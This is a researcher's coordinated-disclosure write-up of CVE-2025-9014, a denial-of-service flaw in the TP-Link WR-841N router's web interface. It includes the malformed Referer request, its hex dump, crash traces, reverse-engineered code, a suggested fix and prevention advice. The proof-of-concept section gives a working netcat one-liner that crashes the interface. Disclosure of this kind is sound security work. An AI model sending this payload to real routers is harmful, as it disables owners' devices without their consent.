Unauthenticated users can take down the user interface on TP-Link WR-841N routers with malformed HTTP requests4. 248 days after my initial report, TP-Link assigned CVE-2025-9014 and released a patch on January 15, 2026.
This denial of service vulnerability affects the /usr/bin/httpd web server and user interface on the WR-841N router. The router firmware's /usr/bin/cos init process that's responsible for launching the web server fails to restart it.
This means that once an unauthenticated user crashes the /usr/bin/httpd web server, the TP-Link WR-841N's user interface stays inoperable until you manually restart the router. When the router is in a remote location that can take up time.
The vulnerability is highly exploitable using automation. The only remedy is to update the router firmware.

You can configure the TP-Link WR-841N router to expose its web server and user interface to the internet. In that case, any unauthorized user on the internet can repeatedly crash part of the TP-Link WR-841N router firmware.
Timeline
- 2025-05-12: Initial report to TP-Link through their CNA contact with 90 day remediation target
- 2025-05-16: TP-Link confirms vulnerability
- 2025-10-03: TP-Link assigns CVE-2025-9014
- 2025-11-21: I give a talk at TenguCon 2.0: QEMU and AFL++ fuzzing for MIPS-based networking equipment (Slides)
- 2026-01-15: Public disclosure after 248 days1
- TP-Link publishes a Security advisory and firmware update
- TP-Link publishes CVE-2025-9014 with CVSS v4 6.33
Vulnerable product
I found the vulnerability in the Japan version of the TP-Link WR-841N router. The same vulnerability exists in other regional versions of this router.
Manufacturer page for this router in Japanese
You can buy this router from Amazon Japan for JPY2,660. There, the router has a 4.02 rating with 2,539 reviews.

I found the vulnerability in the following firmware version, the most recent one on 2025-05-20:
0.9.1 4.19 v0188.0 Build 241230 Rel.52013n
This same administration page on the router shows the following hardware version:
TL-WR841N v14 00000014
Vulnerability details

When you pass an evil Referer header to the web server it incorrectly
parses your header and looks up a null pointer. This crashes the web server with a segmentation fault.
Here's the evil Referer:
Referer:http://\r\n
This is the complete request:
/ \r\n
Host:0\r\n
Referer:http://\r\n
Here's the payload hex dump:
00000000: 202f 200d 0a48 6f73 743a 300d 0a52 6566 / ..Host:0..Ref
00000010: 6572 6572 3a68 7474 703a 2f2f 0d0a erer:http://..
From evil input to vulnerable condition
Here are the relevant back trace and registers when triggering this vulnerability. The web server runs inside QEMU's MIPS user land emulator:
Program received signal SIGSEGV, Segmentation fault.
0x2b5e8708 in cnet_addrStrToNum ()
from target:/home/debian/projects/tplink/root-tar/lib/libcutil.so
backtrace
#0 0x2b5e8708 in cnet_addrStrToNum ()
from target:/home/debian/projects/tplink/root-tar/lib/libcutil.so
#1 0x00406a74 in http_parser_main ()
Backtrace stopped: frame did not save the PC
registers
zero at v0 v1 a0 a1 a2 a3
R0 00000000 fffffff8 ffffffff ffffffff 00000000 2b2a3080 00000000 2b2a3274
t0 t1 t2 t3 t4 t5 t6 t7
R8 2b52e8e8 2b529708 00000000 ffffffff 2b2ac000 f0000000 00000001 2b6b57f8
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 2b2a30c0 2b2a3273 0042b240 004e10b0 0042b254 0000000b 00430000
t8 t9 k0 k1 gp sp s8 ra
R24 0000004f 2b56fe00 00000000 00000000 2b609730 2b2a3060 00440000 2b5e86f8
sr lo hi bad cause pc
20000010 000323ff 00000325 00000000 00000000 2b5e8708
fsr fir
00000000 00739300
The following shows the reverse engineered source code where the web server crashes:
int http_parser_main(
socket_container *connection_info,
FILE *fd
)
{
/* a lot of other code */
another_reference_at_http_headers = "\t";
refer_domain_part = strtok(
refer_value_after_http_cpy,
"/"
);
referer_without_port = strtok(
refer_domain_part,
":"
);
/* crash here because no domain in just `http://` */
is_ok = cnet_addrStrToNum(
referer_without_port,
&some_depth_param
);
/* the rest of the function */
}
When this function calls cnet_addrStrToNum, the following (reverse
engineered) code runs:
int cnet_addrStrToNum(
char *ip_address,
in_addr_t *addr
)
{
int success;
int result;
in_addr dest;
success = os_inet_aton(ip_address,&dest);
if (success == -1) {
result = -1;
// Crash here
if (*ip_address != '\0') {
cdbg_printf(8,"cnet_addrStrToNum",0x286,"Error ip is %s\n");
result = -1;
}
}
else {
*addr = dest.s_addr;
result = 0;
}
return result;
}
ip_address holds a null pointer. The web server crashes when cnet_addrStrToNum
looks up the IP address pointer right here:
00012708 0x44 00 00 03 82 lb v1,0x0(s0)
Suggested fix
You can fix this vulnerability by adding a null pointer check before calling
cnet_addrStrToNum:
int http_parser_main(
socket_container *connection_info,
FILE *fd
)
{
/* a lot of other code */
another_reference_at_http_headers = "\t";
refer_domain_part = strtok(
refer_value_after_http_cpy,
"/"
);
referer_without_port = strtok(
refer_domain_part,
":"
);
if (!referer_without_port) {
error = "Missing referer";
goto error;
}
is_ok = cnet_addrStrToNum(
referer_without_port,
&some_depth_param
);
/* the rest of the function */
}
Proof-of-concept
Here's a Bash snippet with payload that reproduces the crash:
echo -e " / \r\nHost:0\r\nReferer:http://\r\n" |
nc 192.168.0.1 80
If you run this snippet, the web server crashes and you can't connect to it on port 80. The router's init process never attempts to restart the web server.
Vulnerable machines

After finding this vulnerability I tried to estimate how many routers with this vulnerability expose themselves to the internet. While I found some results, these might as well be honeypots.
Not every TP-Link router exposes its user interface to the internet. Within the 14,933 search results, some may be WR841N routers. I found at least one.
Prevention tips
I want to end this writeup with some notes on how to prevent vulnerabilities like the one described here.
- Use an off-the-shelf HTTP and web server
- If you can't use a memory safe language, verify null pointer check coverage in your code
- Fuzz your parser code
- Avoid C string functions like
strtok.strtok_sisn't automatically safer either. - Assume your code is exploitable and mitigate exploitation impact:
- Isolate your processes with users and groups. This router runs everything as one user.
- Restart and check liveness of processes.
/usr/bin/cosdoesn't. - If restarting isn't possible, at an OS-level restart watchdog
- Either completely avoid IPC over
shmemand Unix sockets or use battle-tested methods./usr/bin/cosand/usr/bin/httpdtalk to each other with Unix domain sockets for configuration and use System Vshmem. This IPC mechanism uses unsafe serialization and can sidestep any process isolation - Provide a secondary mechanism to restart your hardware other than physically unplugging it.
- Avoid MIPS. It has strictly inferior tooling compared to ARM Cortex-M. Example: Third tier support for Rust on MIPS